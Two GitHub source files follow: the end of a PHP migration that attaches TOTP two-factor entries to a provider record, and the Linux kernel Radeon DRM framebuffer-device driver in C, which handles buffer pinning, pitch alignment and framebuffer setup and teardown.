($row['factorKey'] !== $totp_key) { continue; } // This factor already has an associated provider. if (strlen($row['factorProviderPHID'])) { continue; } // Find (or create) a suitable TOTP provider. Note that we can't "save()" // an object or this migration will break if the object ever gets new // columns; just INSERT the raw fields instead. if ($provider_phid === null) { $provider_row = queryfx_one( $conn, 'SELECT phid FROM %R WHERE providerFactorKey = %s LIMIT 1', $provider_table, $totp_key); if ($provider_row) { $provider_phid = $provider_row['phid']; } else { $provider_phid = $provider_table->generatePHID(); queryfx( $conn, 'INSERT INTO %R (phid, providerFactorKey, name, status, properties, dateCreated, dateModified) VALUES (%s, %s, %s, %s, %s, %d, %d)', $provider_table, $provider_phid, $totp_key, '', 'active', '{}', PhabricatorTime::getNow(), PhabricatorTime::getNow()); } } queryfx( $conn, 'UPDATE %R SET factorProviderPHID = %s WHERE id = %d', $table, $provider_phid, $row['id']); }
{ "pile_set_name": "Github" }
/* * Copyright © 2007 David Airlie * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice (including the next * paragraph) shall be included in all copies or substantial portions of the * Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. * * Authors: * David Airlie */ #include <linux/module.h> #include <linux/slab.h> #include <linux/fb.h> #include "drmP.h" #include "drm.h" #include "drm_crtc.h" #include "drm_crtc_helper.h" #include "radeon_drm.h" #include "radeon.h" #include "drm_fb_helper.h" #include <linux/vga_switcheroo.h> /* object hierarchy - this contains a helper + a radeon fb the helper contains a pointer to radeon framebuffer baseclass. */ struct radeon_fbdev { struct drm_fb_helper helper; struct radeon_framebuffer rfb; struct list_head fbdev_list; struct radeon_device *rdev; }; static struct fb_ops radeonfb_ops = { .owner = THIS_MODULE, .fb_check_var = drm_fb_helper_check_var, .fb_set_par = drm_fb_helper_set_par, .fb_fillrect = cfb_fillrect, .fb_copyarea = cfb_copyarea, .fb_imageblit = cfb_imageblit, .fb_pan_display = drm_fb_helper_pan_display, .fb_blank = drm_fb_helper_blank, .fb_setcmap = drm_fb_helper_setcmap, }; static int radeon_align_pitch(struct radeon_device *rdev, int width, int bpp, bool tiled) { int aligned = width; int align_large = (ASIC_IS_AVIVO(rdev)) || tiled; int pitch_mask = 0; switch (bpp / 8) { case 1: pitch_mask = align_large ? 255 : 127; break; case 2: pitch_mask = align_large ? 127 : 31; break; case 3: case 4: pitch_mask = align_large ? 63 : 15; break; } aligned += pitch_mask; aligned &= ~pitch_mask; return aligned; } static void radeonfb_destroy_pinned_object(struct drm_gem_object *gobj) { struct radeon_bo *rbo = gobj->driver_private; int ret; ret = radeon_bo_reserve(rbo, false); if (likely(ret == 0)) { radeon_bo_kunmap(rbo); radeon_bo_unpin(rbo); radeon_bo_unreserve(rbo); } drm_gem_object_unreference_unlocked(gobj); } static int radeonfb_create_pinned_object(struct radeon_fbdev *rfbdev, struct drm_mode_fb_cmd *mode_cmd, struct drm_gem_object **gobj_p) { struct radeon_device *rdev = rfbdev->rdev; struct drm_gem_object *gobj = NULL; struct radeon_bo *rbo = NULL; bool fb_tiled = false; /* useful for testing */ u32 tiling_flags = 0; int ret; int aligned_size, size; /* need to align pitch with crtc limits */ mode_cmd->pitch = radeon_align_pitch(rdev, mode_cmd->width, mode_cmd->bpp, fb_tiled) * ((mode_cmd->bpp + 1) / 8); size = mode_cmd->pitch * mode_cmd->height; aligned_size = ALIGN(size, PAGE_SIZE); ret = radeon_gem_object_create(rdev, aligned_size, 0, RADEON_GEM_DOMAIN_VRAM, false, true, &gobj); if (ret) { printk(KERN_ERR "failed to allocate framebuffer (%d)\n", aligned_size); return -ENOMEM; } rbo = gobj->driver_private; if (fb_tiled) tiling_flags = RADEON_TILING_MACRO; #ifdef __BIG_ENDIAN switch (mode_cmd->bpp) { case 32: tiling_flags |= RADEON_TILING_SWAP_32BIT; break; case 16: tiling_flags |= RADEON_TILING_SWAP_16BIT; default: break; } #endif if (tiling_flags) { ret = radeon_bo_set_tiling_flags(rbo, tiling_flags | RADEON_TILING_SURFACE, mode_cmd->pitch); if (ret) dev_err(rdev->dev, "FB failed to set tiling flags\n"); } ret = radeon_bo_reserve(rbo, false); if (unlikely(ret != 0)) goto out_unref; ret = radeon_bo_pin(rbo, RADEON_GEM_DOMAIN_VRAM, NULL); if (ret) { radeon_bo_unreserve(rbo); goto out_unref; } if (fb_tiled) radeon_bo_check_tiling(rbo, 0, 0); ret = radeon_bo_kmap(rbo, NULL); radeon_bo_unreserve(rbo); if (ret) { goto out_unref; } *gobj_p = gobj; return 0; out_unref: radeonfb_destroy_pinned_object(gobj); *gobj_p = NULL; return ret; } static int radeonfb_create(struct radeon_fbdev *rfbdev, struct drm_fb_helper_surface_size *sizes) { struct radeon_device *rdev = rfbdev->rdev; struct fb_info *info; struct drm_framebuffer *fb = NULL; struct drm_mode_fb_cmd mode_cmd; struct drm_gem_object *gobj = NULL; struct radeon_bo *rbo = NULL; struct device *device = &rdev->pdev->dev; int ret; unsigned long tmp; mode_cmd.width = sizes->surface_width; mode_cmd.height = sizes->surface_height; /* avivo can't scanout real 24bpp */ if ((sizes->surface_bpp == 24) && ASIC_IS_AVIVO(rdev)) sizes->surface_bpp = 32; mode_cmd.bpp = sizes->surface_bpp; mode_cmd.depth = sizes->surface_depth; ret = radeonfb_create_pinned_object(rfbdev, &mode_cmd, &gobj); rbo = gobj->driver_private; /* okay we have an object now allocate the framebuffer */ info = framebuffer_alloc(0, device); if (info == NULL) { ret = -ENOMEM; goto out_unref; } info->par = rfbdev; radeon_framebuffer_init(rdev->ddev, &rfbdev->rfb, &mode_cmd, gobj); fb = &rfbdev->rfb.base; /* setup helper */ rfbdev->helper.fb = fb; rfbdev->helper.fbdev = info; memset_io(rbo->kptr, 0x0, radeon_bo_size(rbo)); strcpy(info->fix.id, "radeondrmfb"); drm_fb_helper_fill_fix(info, fb->pitch, fb->depth); info->flags = FBINFO_DEFAULT | FBINFO_CAN_FORCE_OUTPUT; info->fbops = &radeonfb_ops; tmp = radeon_bo_gpu_offset(rbo) - rdev->mc.vram_start; info->fix.smem_start = rdev->mc.aper_base + tmp; info->fix.smem_len = radeon_bo_size(rbo); info->screen_base = rbo->kptr; info->screen_size = radeon_bo_size(rbo); drm_fb_helper_fill_var(info, &rfbdev->helper, sizes->fb_width, sizes->fb_height); /* setup aperture base/size for vesafb takeover */ info->apertures = alloc_apertures(1); if (!info->apertures) { ret = -ENOMEM; goto out_unref; } info->apertures->ranges[0].base = rdev->ddev->mode_config.fb_base; info->apertures->ranges[0].size = rdev->mc.real_vram_size; info->fix.mmio_start = 0; info->fix.mmio_len = 0; info->pixmap.size = 64*1024; info->pixmap.buf_align = 8; info->pixmap.access_align = 32; info->pixmap.flags = FB_PIXMAP_SYSTEM; info->pixmap.scan_align = 1; if (info->screen_base == NULL) { ret = -ENOSPC; goto out_unref; } ret = fb_alloc_cmap(&info->cmap, 256, 0); if (ret) { ret = -ENOMEM; goto out_unref; } DRM_INFO("fb mappable at 0x%lX\n", info->fix.smem_start); DRM_INFO("vram apper at 0x%lX\n", (unsigned long)rdev->mc.aper_base); DRM_INFO("size %lu\n", (unsigned long)radeon_bo_size(rbo)); DRM_INFO("fb depth is %d\n", fb->depth); DRM_INFO(" pitch is %d\n", fb->pitch); vga_switcheroo_client_fb_set(rdev->ddev->pdev, info); return 0; out_unref: if (rbo) { } if (fb && ret) { drm_gem_object_unreference(gobj); drm_framebuffer_cleanup(fb); kfree(fb); } return ret; } static int radeon_fb_find_or_create_single(struct drm_fb_helper *helper, struct drm_fb_helper_surface_size *sizes) { struct radeon_fbdev *rfbdev = (struct radeon_fbdev *)helper; int new_fb = 0; int ret; if (!helper->fb) { ret = radeonfb_create(rfbdev, sizes); if (ret) return ret; new_fb = 1; } return new_fb; } static char *mode_option; int radeon_parse_options(char *options) { char *this_opt; if (!options || !*options) return 0; while ((this_opt = strsep(&options, ",")) != NULL) { if (!*this_opt) continue; mode_option = this_opt; } return 0; } void radeon_fb_output_poll_changed(struct radeon_device *rdev) { drm_fb_helper_hotplug_event(&rdev->mode_info.rfbdev->helper); } static int radeon_fbdev_destroy(struct drm_device *dev, struct radeon_fbdev *rfbdev) { struct fb_info *info; struct radeon_framebuffer *rfb = &rfbdev->rfb; if (rfbdev->helper.fbdev) { info = rfbdev->helper.fbdev; unregister_framebuffer(info); if (info->cmap.len) fb_dealloc_cmap(&info->cmap); framebuffer_release(info); } if (rfb->obj) { radeonfb_destroy_pinned_object(rfb->obj); rfb->obj = NULL; } drm_fb_helper_fini(&rfbdev->helper); drm_framebuffer_cleanup(&rfb->base); return 0; } static struct drm_fb_helper_funcs radeon_fb_helper_funcs = { .gamma_set = radeon_crtc_fb_gamma_set, .gamma_get = radeon_crtc_fb_gamma_get, .fb_probe = radeon_fb_find_or_create_single, }; int radeon_fbdev_init(struct radeon_device *rdev) { struct radeon_fbdev *rfbdev; int bpp_sel = 32; int ret; /* select 8 bpp console on RN50 or 16MB cards */ if (ASIC_IS_RN50(rdev) || rdev->mc.real_vram_size <= (32*1024*1024)) bpp_sel = 8; rfbdev = kzalloc(sizeof(struct radeon_fbdev), GFP_KERNEL); if (!rfbdev) return -ENOMEM; rfbdev->rdev = rdev; rdev->mode_info.rfbdev = rfbdev; rfbdev->helper.funcs = &radeon_fb_helper_funcs; ret = drm_fb_helper_init(rdev->ddev, &rfbdev->helper, rdev->num_crtc, RADEONFB_CONN_LIMIT); if (ret) { kfree(rfbdev); return ret; } drm_fb_helper_single_add_all_connectors(&rfbdev->helper); drm_fb_helper_initial_config(&rfbdev->helper, bpp_sel); return 0; } void radeon_fbdev_fini(struct radeon_device *rdev) { if (!rdev->mode_info.rfbdev) return; radeon_fbdev_destroy(rdev->ddev, rdev->mode_info.rfbdev); kfree(rdev->mode_info.rfbdev); rdev->mode_info.rfbdev = NULL; } void radeon_fbdev_set_suspend(struct radeon_device *rdev, int state) { fb_set_suspend(rdev->mode_info.rfbdev->helper.fbdev, state); } int radeon_fbdev_total_size(struct radeon_device *rdev) { struct radeon_bo *robj; int size = 0; robj = rdev->mode_info.rfbdev->rfb.obj->driver_private; size += radeon_bo_size(robj); return size; } bool radeon_fbdev_robj_is_fb(struct radeon_device *rdev, struct radeon_bo *robj) { if (robj == rdev->mode_info.rfbdev->rfb.obj->driver_private) return true; return false; }
{ "pile_set_name": "Github" }